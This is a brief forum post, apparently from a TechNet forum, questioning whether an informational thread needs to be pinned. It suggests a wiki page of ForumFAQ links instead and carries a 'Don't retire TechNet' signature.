    Thank you for the information, but does this thread really need to be stuck to the top of the forum?
    If there must be a sticky, I'd rather see a link to a page on the wiki that has links to all of these ForumFAQ posts.
    EDIT: I see this is no longer stuck to the top of the forum, thank you.
    Don't retire TechNet! -
    (Don't give up yet - 13,085+ strong and growing)

Maybe you are looking for